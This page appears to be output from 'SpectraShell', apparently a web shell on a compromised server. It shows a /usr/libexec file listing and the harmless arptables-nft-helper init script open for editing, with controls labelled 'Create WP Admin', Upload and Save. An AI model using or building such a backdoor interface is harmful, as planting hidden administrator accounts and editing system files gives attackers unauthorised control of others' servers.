🌌 SpectraShell
Current path:
usr
/
libexec
/
👤 Create WP Admin
⬆️
Go up: /usr
✏️ Editing: arptables-nft-helper
#!/usr/bin/sh ARPTABLES_CONFIG=/etc/sysconfig/arptables # compat for removed initscripts dependency success() { echo "[ OK ]" return 0 } failure() { echo "[FAILED]" return 1 } start() { if [ ! -x /usr/sbin/arptables ]; then exit 4 fi # don't do squat if we don't have the config file if [ -f $ARPTABLES_CONFIG ]; then printf "Applying arptables firewall rules: " /usr/sbin/arptables-restore < $ARPTABLES_CONFIG && \ success || \ failure touch /var/lock/subsys/arptables else failure echo "Configuration file /etc/sysconfig/arptables missing" exit 6 fi } stop() { printf "Removing user defined chains: " arptables -X && success || failure printf "Flushing all chains: " arptables -F && success || failure printf "Resetting built-in chains to the default ACCEPT policy: " arptables -P INPUT ACCEPT && \ arptables -P OUTPUT ACCEPT && \ success || \ failure rm -f /var/lock/subsys/arptables } case "$1" in start) start ;; stop) stop ;; restart|reload) # "restart" is really just "start" as this isn't a daemon, # and "start" clears any pre-defined rules anyway. # This is really only here to make those who expect it happy start ;; condrestart|try-restart|force-reload) [ -e /var/lock/subsys/arptables ] && start ;; *) exit 2 esac exit 0
Save
Upload
📁
Create Folder
📁
awk
📁
cloud-init
📁
coreutils
📁
dovecot
📁
dpkg
📁
emacs
📁
gawk
📁
gcc
📁
geoclue-2.0
📁
getconf
📁
git-core
📁
grub2
📁
grubby
📁
gstreamer-1.0
📁
hostname
📁
initscripts
📁
installkernel
📁
iptables
📁
irqbalance
📁
kcare
📁
linux-boot-probes
📁
man-db
📁
microcode_ctl
📁
nfs-utils
📁
openldap
📁
openssh
📁
oracle-cloud-agent
📁
os-prober
📁
os-probes
📁
p11-kit
📁
psacct
📁
rsyslog
📁
selinux
📁
smartmontools
📁
sssd
📁
sudo
📁
totem-pl-parser
📁
tracker3
📁
tuned
📁
utempter
📄
arptables-helper
|
✏️ Edit
📄
arptables-nft-helper
|
✏️ Edit
📄
at-spi-bus-launcher
|
✏️ Edit
📄
at-spi2-registryd
|
✏️ Edit
📄
dconf-service
|
✏️ Edit
📄
dirmngr_ldap
|
✏️ Edit
📄
dnf-utils
|
✏️ Edit
📄
exim.daemon
|
✏️ Edit
📄
fips-setup-helper
|
✏️ Edit
📄
flatpak-oci-authenticator
|
✏️ Edit
📄
flatpak-portal
|
✏️ Edit
📄
flatpak-session-helper
|
✏️ Edit
📄
flatpak-system-helper
|
✏️ Edit
📄
flatpak-validate-icon
|
✏️ Edit
📄
generate-rndc-key.sh
|
✏️ Edit
📄
geoclue
|
✏️ Edit
📄
glib-pacrunner
|
✏️ Edit
📄
gpg-check-pattern
|
✏️ Edit
📄
gpg-pair-tool
|
✏️ Edit
📄
gpg-preset-passphrase
|
✏️ Edit
📄
gpg-protect-tool
|
✏️ Edit
📄
gpg-wks-client
|
✏️ Edit
📄
grepconf.sh
|
✏️ Edit
📄
import-state
|
✏️ Edit
📄
iscsi-mark-root-nodes
|
✏️ Edit
📄
keyboxd
|
✏️ Edit
📄
loadmodules
|
✏️ Edit
📄
low-memory-monitor
|
✏️ Edit
📄
nfsrahead
|
✏️ Edit
📄
nm-daemon-helper
|
✏️ Edit
📄
nm-dhcp-helper
|
✏️ Edit
📄
nm-dispatcher
|
✏️ Edit
📄
nm-initrd-generator
|
✏️ Edit
📄
nm-libnm-helper
|
✏️ Edit
📄
nm-priv-helper
|
✏️ Edit
📄
platform-python
|
✏️ Edit
📄
platform-python-config
|
✏️ Edit
📄
platform-python3.9
|
✏️ Edit
📄
platform-python3.9-config
|
✏️ Edit
📄
platform-python3.9-x86_64-config
|
✏️ Edit
📄
revokefs-fuse
|
✏️ Edit
📄
rtkit-daemon
|
✏️ Edit
📄
scdaemon
|
✏️ Edit
📄
tracker-extract-3
|
✏️ Edit
📄
tracker-miner-fs-3
|
✏️ Edit
📄
tracker-miner-fs-control-3
|
✏️ Edit
📄
tracker-writeback-3
|
✏️ Edit
📄
tracker-xdg-portal-3
|
✏️ Edit
📄
upowerd
|
✏️ Edit
📄
virt-what-cpuid-helper
|
✏️ Edit
📄
xdg-desktop-portal
|
✏️ Edit
📄
xdg-desktop-portal-gtk
|
✏️ Edit
📄
xdg-document-portal
|
✏️ Edit
📄
xdg-permission-store
|
✏️ Edit